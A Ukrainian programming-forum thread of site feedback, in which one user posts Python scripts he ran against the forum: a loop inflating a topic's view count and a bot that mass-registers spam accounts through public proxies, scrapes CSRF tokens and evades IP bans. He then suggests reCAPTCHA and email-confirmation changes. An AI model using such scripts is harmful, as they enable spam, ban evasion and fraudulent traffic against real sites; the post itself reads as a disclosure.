Re: Пропозиції та зауваження
Коли до когось заходиш у профіль - не перекладено: "PM: Send a private message"
Ви не увійшли. Будь ласка, увійдіть або зареєструйтесь.
Ласкаво просимо вас на україномовний форум з програмування, веб-дизайну, SEO та всього пов'язаного з інтернетом та комп'ютерами.
Будемо вдячні, якщо ви поділитись посиланням на Replace.org.ua на інших ресурсах.
Для того щоб створювати теми та надсилати повідомлення вам потрібно Зареєструватись.
Український форум програмістів → Обговорення → Організація роботи форуму → Пропозиції та зауваження
Сторінки Попередня 1 2 3 4 5 … 39 Наступна
Для відправлення відповіді ви повинні увійти або зареєструватися
Коли до когось заходиш у профіль - не перекладено: "PM: Send a private message"
Також забув дописати. У профілі в розділі "Додаткові налаштування" є російський текст: "Включить Спасибо. Если отключить, то сказать спасибо за сообщения других участников будет невозможно"
HetmanNet, Майже по всьому форуму стоїть 13px, у деяких місцях 12px. font-family: Verdana. Такі налаштування в Google та Wikipedia. До цього брались налаштування браузера. Повинно стати краще.
Hanter, Patron, дякую, виправив помилки та переклав більшу частину приватних повідомлень.
Щодо додаткових можливостей:
Розширене підсвічування коду, закриття теми автором та деякі інші ідеї в голові додані в список TODO.
HetmanNet у мене у фаєрфоксі стоїть плагін NoSquint. Він дозволяє масштабувати всю сторінку разом і окремо текст. Наприклад у мене в закладках є один сайт зверстаний під 800х600 з дванадцятим шрифтом. NoSquint-ом я його збільшую до 140% а текст на ньому до 60% і сайт набуває цілком людського вигляду. Можна й навпаки сам сайт лишити незмінним, а тест збільшити. Причому текст змінюється відповідно до моїх побажань не залежно від того, що з ним намудрував веб дизайнер. Єдине але: сайти, зроблені кривими руками, починають криво виглядати.
Думаю, що й для інших браузерів уже має бути схожий плагін, хоча півтора роки назад я такого не знайшов.
HetmanNet у мене у фаєрфоксі стоїть плагін NoSquint. Він дозволяє масштабувати всю сторінку разом і окремо текст. Наприклад у мене в закладках є один сайт зверстаний під 800х600 з дванадцятим шрифтом. NoSquint-ом я його збільшую до 140% а текст на ньому до 60% і сайт набуває цілком людського вигляду. Можна й навпаки сам сайт лишити незмінним, а тест збільшити. Причому текст змінюється відповідно до моїх побажань не залежно від того, що з ним намудрував веб дизайнер. Єдине але: сайти, зроблені кривими руками, починають криво виглядати.
Думаю, що й для інших браузерів уже має бути схожий плагін, хоча півтора роки назад я такого не знайшов.
Не вплагіні справа, маштабування то не проблема (мені дозволяють засоби графічної оболонки те робити, тай додатків в браузері для цього чимало вже є). Трохи покопався, виявилася вся проблема у шрифтах. В таблиці стилей зазначені альтернативні варіанти шрифтів, але альтарнативні відображують меншими ніж основні, при вимкненні основного шрифта в системі (те зробив для деяких шрифтів з ms ліцензією, загалом всіх маю близько 5000 встановлених, тому для полегшення роботи вимикаю деякі) альтернативні мають дрібніший вигляд. Тож пропозиція в таблиці стилей вписати використання своїх власних шрифтів (можна ті самі стандартні вписати як свої про всяк випадок), щоб сайт відображувався завжди однаково.
Можете збільшити максимум відповідей при створенні опитувань до 10?
Збільшив до 15, із запасом
Дякую
Replace, що то за "біда" шо 60 секунд треба чекати, між написанням нового повідомлення. Я розумію там спам і флуд контроль, але в нас ніби такого немає, тож для чого людям ускладнювати написання повідомлень?
В Твітері - https://twitter.com/chandler_uasc/statu … 2879101952 - "жаліються" (звертають увагу), що на форумі про програмування іконка "упереджена" Тобто "Python'івська", що "дискримінує" інші мови.
Ок, дякую за зауваження. Трохи пізніше зміню.
P.S: Дякую за рекламу форуму.
Змінив. Нехай буде така. Пізніше можливо щось цікавіше придумаю.
А ще іконка Debian направляє на форум Linux, а це не те й саме. До того ж, багато серверів на FreeBSD, а це вже unix як я розумію. Можливо варто змінити назву теми на *nix та іконку на Тукс з Чаком (диявол BSD) ?
Доречі, то меню, мабуть, треба трошки доробити так, щоб обрана тема була якось підсвічена.
Об'єднав Linux, Free BSD та MAC OS X. Всі вони на базі Unix. Особливо якщо звернути увагу на те що в остнніх двох не було повідомлень. Щодо іконок. Маленьку іконку дуже складно зайти, можливо сам щось в фотошопі придумаю, а Debian зміню трохи пізніше.
З меню не зовсім зрозумів про що йдеться мова. Тема = розділ (підфорум)? Меню верхне там де картинки? Чи там де йде перелік розділів.
Там де картинки. Було б класно, якщо чорнобіла картинка розділу (я не знаю як воно на форумах зветься, це мій перший форум ) по кліку ставала кольоровою. Тому що, там де лінки активний розіл підкреслен.
Картинки я просто так вставив, щоб красивіше виглядало Навіть посилань раніше не було, а потім додав на певні розділи. Спробую зробити.
Я просто лишу це тут
#!/usr/bin/python
from urllib2 import urlopen
while True:
urlopen("http://replace.org.ua/topic/120/").read()
якщо суть не зрозіміло гляньте кількість переглядів того посту -- більше 900
Спершу вже не працюючий код:
#!/usr/bin/python
# -*- coding: utf8 -*-
from urllib import urlopen
from urllib import urlencode
from time import sleep
register_url = "http://replace.org.ua/register/?req_agreement=1&agree=%D0%97%D0%B3%D0%BE%D0%B4%D0%B5%D0%BD"
register_action_url = "http://replace.org.ua/register/?action=register"
proxy_list = [
"http://58.248.217.209:80",
"http://220.195.192.172:80",
"http://203.93.28.166:8080",
"http://186.101.35.3:8080",
"http://121.33.249.170:8080",
"http://61.8.77.74:3128",
"http://115.181.37.42:80"
]
ii = 0
while True:
ii = ii + 1
for i in range(len(proxy_list)):
print "\nUsing proxy: %s"%proxy_list[i]
try:
register_page = urlopen(register_url, proxies={'http': proxy_list[i]}).read()
except:
print "Error while fetching register page. Maybe its broken proxy. Ignoring"
continue
try:
csrf_token = register_page.split('name="csrf_token" value="')[1].split('"')[0]
except:
print "Error while parsing page for search csrf_token. Maybe ban. Do not worry, use another proxy ))"
continue
POST_params = {
"csrf_token": csrf_token,
"form_sent": 1,
"timezone": 2,
"dst": 1,
"req_email1": "spam%sFirstTest%s@mail.ua"%(ii, i),
"req_username": "spam%sFirstTest%s"%(ii, i),
"req_password1": "spamerStandartPasswordForAllIterations",
"req_password2": "spamerStandartPasswordForAllIterations"
}
print "Register user: %s"%POST_params['req_username']
try:
register = urlopen(register_action_url, urlencode(POST_params), proxies={'http': proxy_list[i]}).read()
except:
print "Error while fetch register! Maybe its broken proxy. Ignoring."
if register.__contains__(POST_params['req_username']):
print "User registered!"
else:
print "Error when register :("
print "Going to sleep before new userSpam iteration"
sleep(3610)
Тепер що відбулось. Форма реєстрації на форумі була по замовчуванню дуже простою: email, username, pass1, pass2. Після чого - автоматичний логін. Шикарно. Створюємо цикл, намагаємось реєструвати сотні аккаунтів, та натикаємось на перший захист -- одна реєстрація по ip. Нєбєда. Ідемо на http://www.xroxy.com/proxylist.php, та повторюємо те саме, але через проксі вже. Все працює. Але деякі айпи адмін швидко додає в бан. То не велика біда, пофіг. Далі адмін вмикає підтвердження по e-mail. Хахаха подумав я та замислив використовувати сервіс тимчасового E-mail - http://10minutemail.com/10MinuteMail для підтвердження, але втратив всю цікавість, та лише тому не реалізував цей функціонал.
Висновки:
Поперше обов’язкове підтвердження e-mail зовсім не підвищує безпеку, а лише додають роботи спамеру (хвилин 10). Подруге, вимкнення автоматичного логіну, та зміна паролю після підтвердження e-mail також не має ніяких гарантій. Найнеприємніше тут те, що реєєстрація на форумі стає важкою і не цікавою -- мінус нові користувачі.
Пропозиція:
Підтвердження пошти має бути обов’язково, але не одразу. Я хочу ввести декілька полів, а потім вже апрувити пошту. Я хочу бути залогіненим одразу після реєстрації. Що потрібно:
Відправляти апрув на пошту, але не блокувати деякий час користувача без апруву пошти, лише нагадувати, та пропонувати вислати новий апрув, якщо перший не дійшов
Додати reCaptha до форми реєстрації. Це відкине будьяку можливість реєстрації в автоматичному режимі*
* насправді і це не виключає автоматизацію. Достатньо робити скріншот каптчі, та пропонувати її ввести спамеру. Але це технічно реалізувати напряжно, та робити це будуть для окремого форуму лише при великому бажанні.
Сподіваюсь це корисний експіріенс
ПС. Мені вдалось автоматично зареєструвати декілька користувачів. Якби адмін не заважав, зараз були б тисячі...
mrChex, круто, але поки спамерів немає. Думаю поки достатньо підтвердження пошти. Дякую за ваші дослідження. Якщо в майбутньому щось подібне буде відбуватись займаусь захистом. А зараз існують інші трохи завдання. Наприклад, інтегрувати нормальне підвічування коду окремо для всіх популярних мов (типу [ code lang=python][/ code]), доробити приватні повідомлення та інше.